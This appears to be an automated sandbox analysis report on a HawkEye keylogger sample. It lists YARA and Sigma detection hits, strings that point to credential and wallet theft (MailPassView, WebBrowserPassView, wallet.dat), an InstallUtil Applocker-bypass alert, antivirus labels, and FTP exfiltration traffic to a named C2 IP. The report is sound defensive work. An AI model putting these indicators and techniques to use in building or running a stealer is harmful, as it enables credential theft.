1.2.FukQGQj7cl.exe.478476a.4.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x1dc4e:$key: HawkEyeKeylogger 0x1fe4c:$salt: 099u787978786 0x1e267:$string1: HawkEye_Keylogger 0x1f0ba:$string1: HawkEye_Keylogger 0x1fdac:$string1: HawkEye_Keylogger 0x1e650:$string2: holdermail.txt 0x1e670:$string2: holdermail.txt 0x1e592:$string3: wallet.dat 0x1e5aa:$string3: wallet.dat 0x1e5c0:$string3: wallet.dat 0x1f98e:$string4: Keylog Records 0x1fca6:$string4: Keylog Records 0x1fea4:$string5: do not script --> 0x1dc36:$string6: \pidloc.txt 0x1dc9c:$string7: BSPLIT 0x1dcac:$string7: BSPLIT
1.2.FukQGQj7cl.exe.478476a.4.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.478476a.4.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.478476a.4.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x1e2bf:$hawkstr1: HawkEye Keylogger 0x1f100:$hawkstr1: HawkEye Keylogger 0x1f42f:$hawkstr1: HawkEye Keylogger 0x1f58a:$hawkstr1: HawkEye Keylogger 0x1f6ed:$hawkstr1: HawkEye Keylogger 0x1f966:$hawkstr1: HawkEye Keylogger 0x1de4d:$hawkstr2: Dear HawkEye Customers! 0x1f482:$hawkstr2: Dear HawkEye Customers! 0x1f5d9:$hawkstr2: Dear HawkEye Customers! 0x1f740:$hawkstr2: Dear HawkEye Customers! 0x1df6e:$hawkstr3: HawkEye Logger Details:
21.2.vbc.exe.400000.0.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.48ba66a.6.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x79ac0:$key: HawkEyeKeylogger 0x7bcbe:$salt: 099u787978786 0x7a0d9:$string1: HawkEye_Keylogger 0x7af2c:$string1: HawkEye_Keylogger 0x7bc1e:$string1: HawkEye_Keylogger 0x7a4c2:$string2: holdermail.txt 0x7a4e2:$string2: holdermail.txt 0x7a404:$string3: wallet.dat 0x7a41c:$string3: wallet.dat 0x7a432:$string3: wallet.dat 0x7b800:$string4: Keylog Records 0x7bb18:$string4: Keylog Records 0x7bd16:$string5: do not script --> 0x79aa8:$string6: \pidloc.txt 0x79b0e:$string7: BSPLIT 0x79b1e:$string7: BSPLIT
1.2.FukQGQj7cl.exe.48ba66a.6.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x5623:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.48ba66a.6.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.48ba66a.6.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.48ba66a.6.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.48ba66a.6.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7a131:$hawkstr1: HawkEye Keylogger 0x7af72:$hawkstr1: HawkEye Keylogger 0x7b2a1:$hawkstr1: HawkEye Keylogger 0x7b3fc:$hawkstr1: HawkEye Keylogger 0x7b55f:$hawkstr1: HawkEye Keylogger 0x7b7d8:$hawkstr1: HawkEye Keylogger 0x79cbf:$hawkstr2: Dear HawkEye Customers! 0x7b2f4:$hawkstr2: Dear HawkEye Customers! 0x7b44b:$hawkstr2: Dear HawkEye Customers! 0x7b5b2:$hawkstr2: Dear HawkEye Customers! 0x79de0:$hawkstr3: HawkEye Logger Details:
16.2.InstallUtil.exe.400000.0.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7b8c0:$key: HawkEyeKeylogger 0x7dabe:$salt: 099u787978786 0x7bed9:$string1: HawkEye_Keylogger 0x7cd2c:$string1: HawkEye_Keylogger 0x7da1e:$string1: HawkEye_Keylogger 0x7c2c2:$string2: holdermail.txt 0x7c2e2:$string2: holdermail.txt 0x7c204:$string3: wallet.dat 0x7c21c:$string3: wallet.dat 0x7c232:$string3: wallet.dat 0x7d600:$string4: Keylog Records 0x7d918:$string4: Keylog Records 0x7db16:$string5: do not script --> 0x7b8a8:$string6: \pidloc.txt 0x7b90e:$string7: BSPLIT 0x7b91e:$string7: BSPLIT
16.2.InstallUtil.exe.400000.0.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x7423:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
16.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
16.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
16.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
16.2.InstallUtil.exe.400000.0.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7bf31:$hawkstr1: HawkEye Keylogger 0x7cd72:$hawkstr1: HawkEye Keylogger 0x7d0a1:$hawkstr1: HawkEye Keylogger 0x7d1fc:$hawkstr1: HawkEye Keylogger 0x7d35f:$hawkstr1: HawkEye Keylogger 0x7d5d8:$hawkstr1: HawkEye Keylogger 0x7babf:$hawkstr2: Dear HawkEye Customers! 0x7d0f4:$hawkstr2: Dear HawkEye Customers! 0x7d24b:$hawkstr2: Dear HawkEye Customers! 0x7d3b2:$hawkstr2: Dear HawkEye Customers! 0x7bbe0:$hawkstr3: HawkEye Logger Details:
16.2.InstallUtil.exe.409c0d.3.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x73ab3:$key: HawkEyeKeylogger 0x75cb1:$salt: 099u787978786 0x740cc:$string1: HawkEye_Keylogger 0x74f1f:$string1: HawkEye_Keylogger 0x75c11:$string1: HawkEye_Keylogger 0x744b5:$string2: holdermail.txt 0x744d5:$string2: holdermail.txt 0x743f7:$string3: wallet.dat 0x7440f:$string3: wallet.dat 0x74425:$string3: wallet.dat 0x757f3:$string4: Keylog Records 0x75b0b:$string4: Keylog Records 0x75d09:$string5: do not script --> 0x73a9b:$string6: \pidloc.txt 0x73b01:$string7: BSPLIT 0x73b11:$string7: BSPLIT
16.2.InstallUtil.exe.409c0d.3.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
16.2.InstallUtil.exe.409c0d.3.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
16.2.InstallUtil.exe.409c0d.3.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
16.2.InstallUtil.exe.409c0d.3.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x74124:$hawkstr1: HawkEye Keylogger 0x74f65:$hawkstr1: HawkEye Keylogger 0x75294:$hawkstr1: HawkEye Keylogger 0x753ef:$hawkstr1: HawkEye Keylogger 0x75552:$hawkstr1: HawkEye Keylogger 0x757cb:$hawkstr1: HawkEye Keylogger 0x73cb2:$hawkstr2: Dear HawkEye Customers! 0x752e7:$hawkstr2: Dear HawkEye Customers! 0x7543e:$hawkstr2: Dear HawkEye Customers! 0x755a5:$hawkstr2: Dear HawkEye Customers! 0x73dd3:$hawkstr3: HawkEye Logger Details:
1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x754b8:$key: HawkEyeKeylogger 0xf7776:$key: HawkEyeKeylogger 0x776b6:$salt: 099u787978786 0xf9974:$salt: 099u787978786 0x75ad1:$string1: HawkEye_Keylogger 0x76924:$string1: HawkEye_Keylogger 0x77616:$string1: HawkEye_Keylogger 0xf7d8f:$string1: HawkEye_Keylogger 0xf8be2:$string1: HawkEye_Keylogger 0xf98d4:$string1: HawkEye_Keylogger 0x75eba:$string2: holdermail.txt 0x75eda:$string2: holdermail.txt 0xf8178:$string2: holdermail.txt 0xf8198:$string2: holdermail.txt 0x75dfc:$string3: wallet.dat 0x75e14:$string3: wallet.dat 0x75e2a:$string3: wallet.dat 0xf80ba:$string3: wallet.dat 0xf80d2:$string3: wallet.dat 0xf80e8:$string3: wallet.dat 0x771f8:$string4: Keylog Records
1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x832d9:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x75b29:$hawkstr1: HawkEye Keylogger 0x7696a:$hawkstr1: HawkEye Keylogger 0x76c99:$hawkstr1: HawkEye Keylogger 0x76df4:$hawkstr1: HawkEye Keylogger 0x76f57:$hawkstr1: HawkEye Keylogger 0x771d0:$hawkstr1: HawkEye Keylogger 0xf7de7:$hawkstr1: HawkEye Keylogger 0xf8c28:$hawkstr1: HawkEye Keylogger 0xf8f57:$hawkstr1: HawkEye Keylogger 0xf90b2:$hawkstr1: HawkEye Keylogger 0xf9215:$hawkstr1: HawkEye Keylogger 0xf948e:$hawkstr1: HawkEye Keylogger 0x756b7:$hawkstr2: Dear HawkEye Customers! 0x76cec:$hawkstr2: Dear HawkEye Customers! 0x76e43:$hawkstr2: Dear HawkEye Customers! 0x76faa:$hawkstr2: Dear HawkEye Customers! 0xf7975:$hawkstr2: Dear HawkEye Customers! 0xf8faa:$hawkstr2: Dear HawkEye Customers! 0xf9101:$hawkstr2: Dear HawkEye Customers! 0xf9268:$hawkstr2: Dear HawkEye Customers! 0x757d8:$hawkstr3: HawkEye Logger Details:
1.2.FukQGQj7cl.exe.472e905.5.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x73ab3:$key: HawkEyeKeylogger 0x75cb1:$salt: 099u787978786 0x740cc:$string1: HawkEye_Keylogger 0x74f1f:$string1: HawkEye_Keylogger 0x75c11:$string1: HawkEye_Keylogger 0x744b5:$string2: holdermail.txt 0x744d5:$string2: holdermail.txt 0x743f7:$string3: wallet.dat 0x7440f:$string3: wallet.dat 0x74425:$string3: wallet.dat 0x757f3:$string4: Keylog Records 0x75b0b:$string4: Keylog Records 0x75d09:$string5: do not script --> 0x73a9b:$string6: \pidloc.txt 0x73b01:$string7: BSPLIT 0x73b11:$string7: BSPLIT
1.2.FukQGQj7cl.exe.472e905.5.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.472e905.5.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.472e905.5.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.472e905.5.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x74124:$hawkstr1: HawkEye Keylogger 0x74f65:$hawkstr1: HawkEye Keylogger 0x75294:$hawkstr1: HawkEye Keylogger 0x753ef:$hawkstr1: HawkEye Keylogger 0x75552:$hawkstr1: HawkEye Keylogger 0x757cb:$hawkstr1: HawkEye Keylogger 0x73cb2:$hawkstr2: Dear HawkEye Customers! 0x752e7:$hawkstr2: Dear HawkEye Customers! 0x7543e:$hawkstr2: Dear HawkEye Customers! 0x755a5:$hawkstr2: Dear HawkEye Customers! 0x73dd3:$hawkstr3: HawkEye Logger Details:
1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x754b8:$key: HawkEyeKeylogger 0x776b6:$salt: 099u787978786 0x75ad1:$string1: HawkEye_Keylogger 0x76924:$string1: HawkEye_Keylogger 0x77616:$string1: HawkEye_Keylogger 0x75eba:$string2: holdermail.txt 0x75eda:$string2: holdermail.txt 0x75dfc:$string3: wallet.dat 0x75e14:$string3: wallet.dat 0x75e2a:$string3: wallet.dat 0x771f8:$string4: Keylog Records 0x77510:$string4: Keylog Records 0x7770e:$string5: do not script --> 0x754a0:$string6: \pidloc.txt 0x75506:$string7: BSPLIT 0x75516:$string7: BSPLIT
1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x75b29:$hawkstr1: HawkEye Keylogger 0x7696a:$hawkstr1: HawkEye Keylogger 0x76c99:$hawkstr1: HawkEye Keylogger 0x76df4:$hawkstr1: HawkEye Keylogger 0x76f57:$hawkstr1: HawkEye Keylogger 0x771d0:$hawkstr1: HawkEye Keylogger 0x756b7:$hawkstr2: Dear HawkEye Customers! 0x76cec:$hawkstr2: Dear HawkEye Customers! 0x76e43:$hawkstr2: Dear HawkEye Customers! 0x76faa:$hawkstr2: Dear HawkEye Customers! 0x757d8:$hawkstr3: HawkEye Logger Details:
1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x7b8c0:$key: HawkEyeKeylogger 0xfdba0:$key: HawkEyeKeylogger 0x17fe70:$key: HawkEyeKeylogger 0x7dabe:$salt: 099u787978786 0xffd9e:$salt: 099u787978786 0x18206e:$salt: 099u787978786 0x7bed9:$string1: HawkEye_Keylogger 0x7cd2c:$string1: HawkEye_Keylogger 0x7da1e:$string1: HawkEye_Keylogger 0xfe1b9:$string1: HawkEye_Keylogger 0xff00c:$string1: HawkEye_Keylogger 0xffcfe:$string1: HawkEye_Keylogger 0x180489:$string1: HawkEye_Keylogger 0x1812dc:$string1: HawkEye_Keylogger 0x181fce:$string1: HawkEye_Keylogger 0x7c2c2:$string2: holdermail.txt 0x7c2e2:$string2: holdermail.txt 0xfe5a2:$string2: holdermail.txt 0xfe5c2:$string2: holdermail.txt 0x180872:$string2: holdermail.txt 0x180892:$string2: holdermail.txt
1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x7423:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x89703:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x10b9d3:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x7bf31:$hawkstr1: HawkEye Keylogger 0x7cd72:$hawkstr1: HawkEye Keylogger 0x7d0a1:$hawkstr1: HawkEye Keylogger 0x7d1fc:$hawkstr1: HawkEye Keylogger 0x7d35f:$hawkstr1: HawkEye Keylogger 0x7d5d8:$hawkstr1: HawkEye Keylogger 0xfe211:$hawkstr1: HawkEye Keylogger 0xff052:$hawkstr1: HawkEye Keylogger 0xff381:$hawkstr1: HawkEye Keylogger 0xff4dc:$hawkstr1: HawkEye Keylogger 0xff63f:$hawkstr1: HawkEye Keylogger 0xff8b8:$hawkstr1: HawkEye Keylogger 0x1804e1:$hawkstr1: HawkEye Keylogger 0x181322:$hawkstr1: HawkEye Keylogger 0x181651:$hawkstr1: HawkEye Keylogger 0x1817ac:$hawkstr1: HawkEye Keylogger 0x18190f:$hawkstr1: HawkEye Keylogger 0x181b88:$hawkstr1: HawkEye Keylogger 0x7babf:$hawkstr2: Dear HawkEye Customers! 0x7d0f4:$hawkstr2: Dear HawkEye Customers! 0x7d24b:$hawkstr2: Dear HawkEye Customers!
1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x754b8:$key: HawkEyeKeylogger 0xf7798:$key: HawkEyeKeylogger 0x179a68:$key: HawkEyeKeylogger 0x776b6:$salt: 099u787978786 0xf9996:$salt: 099u787978786 0x17bc66:$salt: 099u787978786 0x75ad1:$string1: HawkEye_Keylogger 0x76924:$string1: HawkEye_Keylogger 0x77616:$string1: HawkEye_Keylogger 0xf7db1:$string1: HawkEye_Keylogger 0xf8c04:$string1: HawkEye_Keylogger 0xf98f6:$string1: HawkEye_Keylogger 0x17a081:$string1: HawkEye_Keylogger 0x17aed4:$string1: HawkEye_Keylogger 0x17bbc6:$string1: HawkEye_Keylogger 0x75eba:$string2: holdermail.txt 0x75eda:$string2: holdermail.txt 0xf819a:$string2: holdermail.txt 0xf81ba:$string2: holdermail.txt 0x17a46a:$string2: holdermail.txt 0x17a48a:$string2: holdermail.txt
1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x832fb:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x1055cb:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x75b29:$hawkstr1: HawkEye Keylogger 0x7696a:$hawkstr1: HawkEye Keylogger 0x76c99:$hawkstr1: HawkEye Keylogger 0x76df4:$hawkstr1: HawkEye Keylogger 0x76f57:$hawkstr1: HawkEye Keylogger 0x771d0:$hawkstr1: HawkEye Keylogger 0xf7e09:$hawkstr1: HawkEye Keylogger 0xf8c4a:$hawkstr1: HawkEye Keylogger 0xf8f79:$hawkstr1: HawkEye Keylogger 0xf90d4:$hawkstr1: HawkEye Keylogger 0xf9237:$hawkstr1: HawkEye Keylogger 0xf94b0:$hawkstr1: HawkEye Keylogger 0x17a0d9:$hawkstr1: HawkEye Keylogger 0x17af1a:$hawkstr1: HawkEye Keylogger 0x17b249:$hawkstr1: HawkEye Keylogger 0x17b3a4:$hawkstr1: HawkEye Keylogger 0x17b507:$hawkstr1: HawkEye Keylogger 0x17b780:$hawkstr1: HawkEye Keylogger 0x756b7:$hawkstr2: Dear HawkEye Customers! 0x76cec:$hawkstr2: Dear HawkEye Customers! 0x76e43:$hawkstr2: Dear HawkEye Customers!
1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack	RAT_HawkEye	Detects HawkEye RAT	Kevin Breen <kevin@techanarchy.net>	0x73ab3:$key: HawkEyeKeylogger 0xf5d93:$key: HawkEyeKeylogger 0x178063:$key: HawkEyeKeylogger 0x75cb1:$salt: 099u787978786 0xf7f91:$salt: 099u787978786 0x17a261:$salt: 099u787978786 0x740cc:$string1: HawkEye_Keylogger 0x74f1f:$string1: HawkEye_Keylogger 0x75c11:$string1: HawkEye_Keylogger 0xf63ac:$string1: HawkEye_Keylogger 0xf71ff:$string1: HawkEye_Keylogger 0xf7ef1:$string1: HawkEye_Keylogger 0x17867c:$string1: HawkEye_Keylogger 0x1794cf:$string1: HawkEye_Keylogger 0x17a1c1:$string1: HawkEye_Keylogger 0x744b5:$string2: holdermail.txt 0x744d5:$string2: holdermail.txt 0xf6795:$string2: holdermail.txt 0xf67b5:$string2: holdermail.txt 0x178a65:$string2: holdermail.txt 0x178a85:$string2: holdermail.txt
1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x818f6:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x103bc6:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack	JoeSecurity_MailPassView	Yara detected MailPassView	Joe Security
1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security
1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0x74124:$hawkstr1: HawkEye Keylogger 0x74f65:$hawkstr1: HawkEye Keylogger 0x75294:$hawkstr1: HawkEye Keylogger 0x753ef:$hawkstr1: HawkEye Keylogger 0x75552:$hawkstr1: HawkEye Keylogger 0x757cb:$hawkstr1: HawkEye Keylogger 0xf6404:$hawkstr1: HawkEye Keylogger 0xf7245:$hawkstr1: HawkEye Keylogger 0xf7574:$hawkstr1: HawkEye Keylogger 0xf76cf:$hawkstr1: HawkEye Keylogger 0xf7832:$hawkstr1: HawkEye Keylogger 0xf7aab:$hawkstr1: HawkEye Keylogger 0x1786d4:$hawkstr1: HawkEye Keylogger 0x179515:$hawkstr1: HawkEye Keylogger 0x179844:$hawkstr1: HawkEye Keylogger 0x17999f:$hawkstr1: HawkEye Keylogger 0x179b02:$hawkstr1: HawkEye Keylogger 0x179d7b:$hawkstr1: HawkEye Keylogger 0x73cb2:$hawkstr2: Dear HawkEye Customers! 0x752e7:$hawkstr2: Dear HawkEye Customers! 0x7543e:$hawkstr2: Dear HawkEye Customers!
16.2.InstallUtil.exe.30ab2a0.5.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df 0x147db:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
16.2.InstallUtil.exe.30ab2a0.5.raw.unpack	JoeSecurity_HawkEye	Yara detected HawkEye Keylogger	Joe Security
16.2.InstallUtil.exe.30ab2a0.5.raw.unpack	Hawkeye	detect HawkEye in memory	JPCERT/CC Incident Response Group	0xe20c:$hawkstr1: HawkEye Keylogger 0x10df4:$hawkstr1: HawkEye Keylogger 0x11174:$hawkstr1: HawkEye Keylogger 0x13528:$hawkstr1: HawkEye Keylogger 0x3e1a4:$hawkstr1: HawkEye Keylogger 0xdcc4:$hawkstr2: Dear HawkEye Customers! 0x10e54:$hawkstr2: Dear HawkEye Customers! 0x111d4:$hawkstr2: Dear HawkEye Customers! 0x3e200:$hawkstr2: Dear HawkEye Customers! 0xddf2:$hawkstr3: HawkEye Logger Details:
16.2.InstallUtil.exe.30bea60.6.raw.unpack	HKTL_NET_GUID_Stealer	Detects c# red/black-team tools via typelibguid	Arnim Rupp	0x101b:$typelibguid0: 8fcd4931-91a2-4e18-849b-70de34ab75df
Click to see the 100 entries

Sigma Overview

System Summary:

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, CommandLine: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, ParentCommandLine: 'C:\Users\user\Desktop\FukQGQj7cl.exe' , ParentImage: C:\Users\user\Desktop\FukQGQj7cl.exe, ParentProcessId: 4792, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\InstallUtil.exe, ProcessId: 6284

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: vbc.exe.6852.22.memstrmin

Malware Configuration Extractor: HawkEye {"Modules": ["WebBrowserPassView"], "Version": ""}

Multi AV Scanner detection for submitted file

Show sources

Source: FukQGQj7cl.exe	Virustotal: Detection: 45%			Perma Link
Source: FukQGQj7cl.exe	ReversingLabs: Detection: 35%

Machine Learning detection for sample

Show sources

Source: FukQGQj7cl.exe

Joe Sandbox ML: detected

Source: 16.2.InstallUtil.exe.400000.0.unpack	Avira: Label: TR/AD.MExecute.lzrac
Source: 16.2.InstallUtil.exe.400000.0.unpack	Avira: Label: SPR/Tool.MailPassView.473
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack	Avira: Label: TR/Inject.vcoldi
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack	Avira: Label: TR/Inject.vcoldi

Source: FukQGQj7cl.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.3:49715 version: TLS 1.0

Source: FukQGQj7cl.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source:	Binary string: C:\Users\Jovan\Documents\Visual Studio 2010\Projects\Stealer\CMemoryExecute\CMemoryExecute\obj\Release\CMemoryExecute.pdb source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.501178621.00000000084C0000.00000004.00000001.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: FukQGQj7cl.exe, 00000001.00000003.299838271.0000000006CE4000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000000.297962667.0000000000D62000.00000002.00020000.sdmp, InstallUtil.exe.1.dr
Source:	Binary string: f:\Projects\VS2005\mailpv\Release\mailpv.pdb source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe
Source:	Binary string: f:\Projects\VS2005\WebBrowserPassView\Release\WebBrowserPassView.pdb source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe
Source:	Binary string: InstallUtil.pdb source: FukQGQj7cl.exe, 00000001.00000003.299838271.0000000006CE4000.00000004.00000001.sdmp, InstallUtil.exe, InstallUtil.exe.1.dr

Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	Binary or memory string: autorun.inf
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	Binary or memory string: [autorun]
Source: InstallUtil.exe, 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	Binary or memory string: autorun.inf
Source: InstallUtil.exe, 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	Binary or memory string: [autorun]

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_00406EC3 FindFirstFileA,FindNextFileA,strlen,strlen,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00408441 FindFirstFileW,FindNextFileW,wcslen,wcslen,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00407E0E FindFirstFileW,FindNextFileW,FindClose,

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2020410 ET TROJAN HawkEye Keylogger FTP 192.168.2.3:49745 -> 45.141.152.18:21

Source: global traffic

TCP traffic: 192.168.2.3:49746 -> 45.141.152.18:62025

Source: Joe Sandbox View	IP Address: 45.141.152.18 45.141.152.18
Source: Joe Sandbox View	IP Address: 45.141.152.18 45.141.152.18

Source: Joe Sandbox View

ASN Name: M247GB M247GB

Source: Joe Sandbox View

